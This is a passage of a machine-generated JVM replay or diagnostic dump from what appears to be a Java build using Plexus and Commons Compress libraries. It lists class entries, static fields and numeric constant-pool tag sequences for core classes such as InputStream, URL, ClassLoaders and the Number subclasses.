org/codehaus/plexus/archiver/bzip2/CBZip2InputStream\ninstanceKlass org/apache/commons/io/input/ClosedInputStream\ninstanceKlass java/io/SequenceInputStream\ninstanceKlass org/iq80/snappy/AbstractSnappyInputStream\ninstanceKlass org/codehaus/plexus/components/io/resources/ClosingInputStream\ninstanceKlass org/apache/commons/compress/compressors/CompressorInputStream\ninstanceKlass jdk/nio/zipfs/ZipFileSystem$EntryInputStream\ninstanceKlass sun/nio/ch/ChannelInputStream\ninstanceKlass java/util/zip/ZipFile$ZipFileInputStream\ninstanceKlass java/io/FilterInputStream\ninstanceKlass java/io/FileInputStream\ninstanceKlass java/io/ByteArrayInputStream\nciInstanceKlass java/io/InputStream 1 1 170 100 10 100 10 10 10 10 100 3 10 100 8 10 7 10 3 100 8 10 100 10 11 10 11 11 11 100 10 5 0 10 8 10 8 10 10 7 100 1 1 1 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 12 7 12 12 1 12 1 1 12 1 100 12 1 1 1 12 100 12 12 12 12 100 12 12 1 12 100 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/io/ByteArrayInputStream 1 1 96 10 9 9 9 9 10 10 10 10 10 10 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 7 12 7 12 7 12 100 12 12 100 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/net/URL 1 1 704 10 10 10 9 9 10 10 10 9 10 8 10 100 10 10 8 10 9 100 8 10 10 8 9 10 9 10 10 9 9 8 9 10 8 9 10 10 10 10 8 10 10 10 8 9 8 10 10 100 10 10 10 100 8 10 10 8 10 10 10 10 10 10 8 10 7 10 10 10 9 10 9 10 10 10 10 10 10 7 10 10 10 8 9 10 10 9 10 100 10 10 10 10 10 10 10 10 10 10 10 9 9 100 8 10 10 9 10 8 10 8 10 10 8 8 10 100 10 10 10 7 100 10 9 10 8 10 100 10 10 8 8 9 10 10 10 10 10 11 10 10 9 10 10 10 8 10 7 100 10 8 8 10 8 8 8 100 10 9 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 8 10 10 10 8 7 10 7 10 7 10 7 7 10 9 9 7 10 10 100 1 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 100 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 100 12 12 12 12 12 1 12 1 12 1 12 12 1 1 12 12 1 12 12 12 12 12 12 12 1 12 12 1 12 12 12 12 12 1 12 12 12 1 12 1 12 12 1 12 12 12 1 1 12 1 12 12 12 12 12 12 1 12 1 7 12 12 100 12 12 12 12 12 12 12 12 12 1 12 1 12 100 12 12 100 12 12 1 12 12 12 12 100 12 12 12 7 12 12 12 12 12 1 1 12 12 12 1 7 12 1 12 12 1 1 12 1 100 12 12 12 1 1 12 12 1 12 1 100 12 1 100 12 12 12 12 12 7 12 12 12 12 12 12 100 12 12 12 1 1 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 1 12 1 1 1 1 1 1 12 7 12 12 1 7 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/net/URL defaultFactory Ljava/net/URLStreamHandlerFactory; java/net/URL$DefaultFactory\nstaticfield java/net/URL streamHandlerLock Ljava/lang/Object; java/lang/Object\nstaticfield java/net/URL serialPersistentFields [Ljava/io/ObjectStreamField; 7 [Ljava/io/ObjectStreamField;\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest\nciInstanceKlass java/util/jar/Manifest 1 1 299 10 7 10 9 7 10 9 9 10 10 10 10 10 11 11 10 10 100 100 10 8 10 10 10 10 11 7 10 10 11 11 11 11 100 7 8 10 11 7 8 10 10 10 10 8 10 10 11 10 10 10 8 10 7 10 10 10 100 8 10 10 8 10 10 10 10 11 10 10 10 100 7 10 11 10 11 10 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 12 1 12 12 12 12 12 12 12 7 12 12 100 12 1 1 1 12 12 12 12 1 12 12 12 7 12 12 12 1 1 1 12 1 1 12 12 12 12 1 12 12 12 12 12 1 12 1 12 12 12 1 1 12 1 12 100 12 12 12 12 12 7 12 12 1 1 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass jdk/internal/loader/ClassLoaders 1 1 143 10 9 9 9 7 11 100 11 11 10 10 100 100 10 9 8 10 7 10 7 10 10 7 10 8 10 8 8 7 10 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 1 100 12 1 12 12 100 12 100 12 1 1 7 12 12 1 7 12 1 12 1 12 12 1 12 1 7 12 1 1 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield jdk/internal/loader/ClassLoaders JLA Ljdk/internal/misc/JavaLangAccess; java/lang/System$2\nstaticfield jdk/internal/loader/ClassLoaders BOOT_LOADER Ljdk/internal/loader/ClassLoaders$BootClassLoader; jdk/internal/loader/ClassLoaders$BootClassLoader\nstaticfield jdk/internal/loader/ClassLoaders PLATFORM_LOADER Ljdk/internal/loader/ClassLoaders$PlatformClassLoader; jdk/internal/loader/ClassLoaders$PlatformClassLoader\nstaticfield jdk/internal/loader/ClassLoaders APP_LOADER Ljdk/internal/loader/ClassLoaders$AppClassLoader; jdk/internal/loader/ClassLoaders$AppClassLoader\ninstanceKlass jdk/internal/loader/ClassLoaders$BootClassLoader\ninstanceKlass jdk/internal/loader/ClassLoaders$PlatformClassLoader\ninstanceKlass jdk/internal/loader/ClassLoaders$AppClassLoader\nciInstanceKlass jdk/internal/loader/BuiltinClassLoader 1 1 762 10 10 9 9 7 10 9 9 10 10 11 100 100 10 10 8 10 10 7 10 10 11 11 11 7 9 8 8 10 10 9 11 7 10 10 10 10 10 10 10 11 10 100 10 10 10 100 8 10 10 8 10 10 11 11 7 7 10 11 11 10 7 10 10 7 7 10 7 7 10 10 100 10 11 7 100 10 10 100 100 10 10 18 10 10 18 100 10 7 10 10 10 10 10 9 100 10 10 10 10 10 10 10 10 10 10 18 7 10 10 10 10 100 10 7 10 10 10 11 7 10 7 100 10 10 11 10 10 10 10 10 10 10 10 8 10 10 10 100 8 8 10 10 8 8 10 11 9 10 9 9 9 9 9 9 10 8 10 10 10 10 8 7 8 10 10 10 10 7 10 9 8 8 10 7 7 10 11 10 10 10 100 10 10 10 7 10 10 8 10 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 7 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 7 7 1 1 1 1 1 1 1 1 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 7 12 12 12 12 1 12 12 12 12 12 12 1 1 12 1 12 12 1 12 12 7 12 12 12 1 12 1 1 12 7 12 12 12 1 12 12 12 7 12 12 12 12 12 7 12 1 7 12 12 1 1 12 1 12 12 12 12 1 1 12 12 1 12 12 1 1 12 1 1 12 7 12 1 12 12 1 1 12 12 1 1 12 12 1 15 16 15 16 12 12 12 15 16 1 7 12 1 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 15 16 12 1 12 12 12 12 1 12 100 1 1 12 12 12 12 1 12 1 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 1 1 1 12 1 1 7 12 7 12 7 12 12 12 12 12 12 12 12 12 1 12 12 12 12 1 1 1 12 12 7 12 1 12 7 12 1 1 12 1 1 12 12 12 12 1 12 12 1 12 12 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 10 1 1 1 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 12 12 1 1 100 1 1 100 1 1\nstaticfield jdk/internal/loader/BuiltinClassLoader packageToModule Ljava/util/Map; java/util/concurrent/ConcurrentHashMap\nstaticfield jdk/internal/loader/BuiltinClassLoader $assertionsDisabled Z 1\nciInstanceKlass jdk/internal/loader/ClassLoaders$AppClassLoader 1 1 134 8 10 9 10 10 10 10 10 10 7 8 10 10 10 9 11 10 10 100 10 7 7 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 12 12 7 12 100 12 12 12 12 12 1 1 12 7 12 100 12 12 100 12 12 7 12 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass jdk/internal/loader/ClassLoaders$PlatformClassLoader 1 1 57 8 10 9 11 10 100 10 100 7 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 12 12 100 12 7 12 1 12 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/security/CodeSource 1 1 402 10 9 9 9 9 10 9 10 100 10 100 10 7 10 10 10 100 10 10 10 10 10 100 10 10 10 10 10 10 10 10 10 10 10 10 10 8 10 10 10 10 8 10 10 100 10 10 8 10 10 10 8 8 9 100 8 10 10 8 10 8 8 8 10 10 10 10 10 10 100 100 10 10 10 10 10 100 10 10 8 10 10 10 100 10 100 100 8 8 10 10 10 100 10 10 11 10 10 11 10 10 8 100 10 10 100 10 11 11 7 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 100 1 1 1 1 1 1 1 1 1 12 12 12 12 12 7 12 12 100 12 100 12 1 12 12 100 1 12 100 12 12 12 1 12 100 100 12 100 12 12 12 12 12 12 1 12 12 12 12 1 12 1 12 1 12 12 12 1 1 12 1 1 12 12 1 12 1 1 1 12 12 12 12 12 12 1 1 12 12 12 12 12 1 12 1 12 12 12 1 12 1 1 1 1 12 100 12 1 12 12 12 12 12 100 1 1 12 12 1 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/lang/StackTraceElement 1 1 224 10 10 9 9 9 9 8 10 7 9 8 9 9 9 8 10 10 7 10 10 8 10 10 8 8 8 10 8 8 10 8 8 7 10 10 10 10 9 10 10 7 10 10 10 10 10 10 10 10 10 7 100 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 3 1 3 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 12 1 100 12 1 12 1 12 12 12 1 12 12 1 12 1 12 12 1 1 1 12 1 1 12 1 1 1 12 12 12 12 12 12 12 1 12 7 12 7 12 12 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass java/nio/IntBuffer\ninstanceKlass java/nio/LongBuffer\ninstanceKlass java/nio/CharBuffer\ninstanceKlass java/nio/ByteBuffer\nciInstanceKlass java/nio/Buffer 1 1 194 100 10 9 9 10 9 10 10 100 100 10 8 10 10 8 8 10 10 8 9 100 8 10 8 8 9 10 8 8 8 10 8 8 8 100 10 100 10 100 10 100 10 7 10 10 9 7 10 10 7 1 1 1 1 1 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 12 12 1 1 1 12 12 1 1 12 12 1 12 1 1 12 1 1 12 12 1 1 1 12 1 1 1 1 1 1 1 1 7 12 7 12 12 1 7 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/nio/Buffer UNSAFE Ljdk/internal/misc/Unsafe; jdk/internal/misc/Unsafe\nstaticfield java/nio/Buffer $assertionsDisabled Z 1\nciInstanceKlass java/lang/StackWalker 0 0 235 9 10 100 10 10 11 10 10 100 10 100 8 10 10 10 10 9 9 9 9 10 9 10 11 100 8 10 10 9 10 10 10 18 100 8 10 10 10 9 11 10 100 100 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 100 12 1 100 12 12 100 12 12 12 1 12 1 1 12 12 12 12 12 12 12 12 12 12 100 12 12 1 1 12 12 12 100 12 100 12 1 15 16 15 16 12 1 1 12 100 12 12 100 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 10 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 1 1 100 1 1 100 1 1\nciInstanceKlass java/lang/StackStreamFactory$AbstractStackWalker 1 0 306 100 100 3 10 10 10 9 10 9 9 9 9 9 10 10 9 10 10 9 9 100 10 8 10 10 8 10 10 100 8 10 8 10 9 10 9 8 5 0 8 8 9 10 10 10 9 10 10 10 10 10 10 8 10 10 10 10 8 100 10 10 10 10 10 10 9 8 10 10 10 10 10 10 10 10 10 10 8 100 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 100 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 100 12 12 12 12 12 12 12 100 12 100 12 12 12 12 12 12 100 12 1 1 12 12 1 12 100 12 1 1 12 1 12 100 12 12 12 1 1 1 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 1 1 12 12 12 12 12 100 12 12 1 12 12 12 12 12 12 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass java/lang/LiveStackFrameInfo\nciInstanceKlass java/lang/StackFrameInfo 0 0 140 10 9 9 100 9 9 9 11 9 11 10 10 10 11 11 11 10 10 10 10 11 10 9 10 100 8 10 10 100 100 1 1 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 12 12 12 1 12 12 12 100 12 12 12 12 100 12 12 12 12 12 12 12 12 12 12 12 12 12 1 1 12 100 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/lang/LiveStackFrameInfo 0 0 97 10 9 9 9 9 9 100 10 10 8 10 100 8 8 8 10 100 10 100 10 100 100 100 1 1 1 1 1 1 1 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 12 1 12 12 1 12 1 1 1 1 1 12 1 12 1 1 1 1 1 1 1 1 1\ninstanceKlass java/util/concurrent/locks/AbstractQueuedSynchronizer\nciInstanceKlass java/util/concurrent/locks/AbstractOwnableSynchronizer 1 1 32 10 9 7 7 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1 1\nciInstanceKlass java/lang/Boolean 1 1 128 10 9 10 10 8 10 9 9 8 10 7 10 10 100 100 10 10 8 10 9 7 100 100 1 1 1 1 1 1 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 1 12 12 12 1 12 1 12 7 12 1 1 12 12 1 7 12 12 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Boolean TRUE Ljava/lang/Boolean; java/lang/Boolean\nstaticfield java/lang/Boolean FALSE Ljava/lang/Boolean; java/lang/Boolean\nstaticfield java/lang/Boolean TYPE Ljava/lang/Class; java/lang/Class\nciInstanceKlass java/lang/Character 1 1 551 7 100 10 9 9 10 10 10 10 10 10 3 3 3 3 3 10 10 3 11 11 10 10 100 10 10 3 10 10 10 100 8 7 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 5 0 10 10 10 10 10 10 10 10 10 10 9 100 10 10 10 3 10 10 10 100 10 10 10 10 8 10 9 10 10 10 10 10 10 10 10 10 100 8 10 10 8 10 9 100 100 7 1 1 100 1 100 1 100 1 1 1 1 3 1 3 1 1 3 1 3 1 1 1 1 1 1 1 3 1 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 3 1 1 1 1 1 1 1 3 1 1 3 1 1 1 1 1 3 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 12 12 12 12 12 12 7 12 12 12 12 1 12 12 12 12 1 1 1 100 12 12 12 12 12 12 12 12 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 100 12 12 12 1 12 12 12 1 12 100 12 12 12 12 12 12 12 1 1 12 7 12 1 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Character TYPE Ljava/lang/Class; java/lang/Class\nstaticfield java/lang/Character $assertionsDisabled Z 1\ninstanceKlass java/math/BigDecimal\ninstanceKlass java/math/BigInteger\ninstanceKlass java/util/concurrent/atomic/AtomicLong\ninstanceKlass java/util/concurrent/atomic/AtomicInteger\ninstanceKlass java/lang/Long\ninstanceKlass java/lang/Integer\ninstanceKlass java/lang/Short\ninstanceKlass java/lang/Byte\ninstanceKlass java/lang/Double\ninstanceKlass java/lang/Float\nciInstanceKlass java/lang/Number 1 1 37 10 10 100 7 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1 1\nciInstanceKlass java/lang/Float 1 1 192 7 100 10 10 4 100 10 10 8 8 10 10 10 10 4 4 4 10 9 10 10 10 10 10 10 3 10 10 10 10 8 10 9 7 100 1 1 1 1 1 4 1 1 1 4 1 1 3 1 3 1 3 1 3 1 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 100 12 1 12 12 1 1 100 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 7 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Float TYPE Ljava/lang/Class; java/lang/Class\nciInstanceKlass java/lang/Double 1 1 254 7 100 10 10 10 100 10 10 6 0 8 10 8 10 8 6 0 10 100 5 0 5 0 8 8 10 10 8 10 8 8 8 10 10 10 10 10 10 10 10 6 0 6 0 6 0 10 9 10 10 10 10 5 0 10 10 10 10 8 10 9 7 100 1 1 1 1 1 6 0 1 1 1 6 0 1 1 3 1 3 1 3 1 3 1 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 12 12 1 12 100 12 1 12 1 12 1 12 1 1 1 100 12 12 1 12 1 1 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 7 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Double TYPE Ljava/lang/Class; java/lang/Class\nciInstanceKlass java/lang/Byte 1 1 178 7 10 9 10 7 100 10 8 10 8 10 10 10 10 10 10 10 10 8 8 10 9 10 10 10 10 10 5 0 10 8 10 9 7 100 7 1 1 1 1 1 3 1 3 1 1 1 1 1 1 1 3 1 3 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 12 1 1 12 1 12 1 12 12 12 12 12 12 12 12 1 1 12 12 12 12 12 12 12 1 7 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Byte TYPE Ljava/lang/Class; java/lang/Class\nciInstanceKlass java/lang/Short 1 1 186 7 100 10 10 7 100 10 8 10 8 10 10 10 10 10 10 9 10 10 10 8 8 10 9 10 10 10 10 10 3 3 5 0 10 8 10 9 7 100 7 1 1 1 1 1 3 1 3 1 1 1 1 1 1 1 3 1 3 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 1 1 12 1 12 1 12 12 12 12 12 12 12 12 12 12 1 1 12 12 12 12 12 12 12 1 7 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Short TYPE Ljava/lang/Class; java/lang/Class\nciInstanceKlass java/lang/Integer 1 1 413 7 100 7 7 10 9 9 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 9 9 7 8 10 100 10 8 10 10 8 10 8 10 3 10 3 10 10 10 7 11 100 10 11 10 8 10 8 100 10 10 5 0 8 10 10 10 10 7 9 9 10 10 9 10 10 10 10 100 100 10 8 8 10 8 8 8 8 8 8 10 10 10 5 0 3 3 3 3 10 3 10 10 8 10 9 3 3 3 3 3 3 9 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 3 1 3 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 100 12 12 100 12 12 100 12 12 12 7 12 12 12 12 12 12 12 12 12 1 1 12 1 12 1 12 12 1 12 1 12 12 12 12 7 12 1 1 12 1 12 1 1 12 12 1 12 12 12 12 1 12 12 12 12 12 12 12 7 12 1 1 12 1 1 12 1 1 1 1 1 1 12 12 12 12 12 12 1 7 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Integer TYPE Ljava/lang/Class; java/lang/Class\nstaticfield java/lang/Integer digits [C 36\nstaticfield java/lang/Integer DigitTens [B 100\nstaticfield java/lang/Integer DigitOnes [B 100\nstaticfield java/lang/Integer sizeTable [I 10\nciInstanceKlass java/lang/Long 1 1 478 7 100 7 7 10 9 9 10 10 10 10 10 10 10 10 5 0 5 0 100 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 7 5 0 5 0 9 9 5 0 7 8 10 8 10 8 8 10 5 0 10 5 0 10 10 10 100 11 100 10 11 10 8 10 8 100 10 10 8 8 11 10 10 10 5 0 5 0 9 10 8 8 10 8 8 8 8 8 8 10 10 10 10 9 10 10 10 100 100 10 10 10 10 10 10 10 5 0 5 0 5 0 10 5 0 5 0 10 10 10 8 10 9 7 100 7 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 3 1 3 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 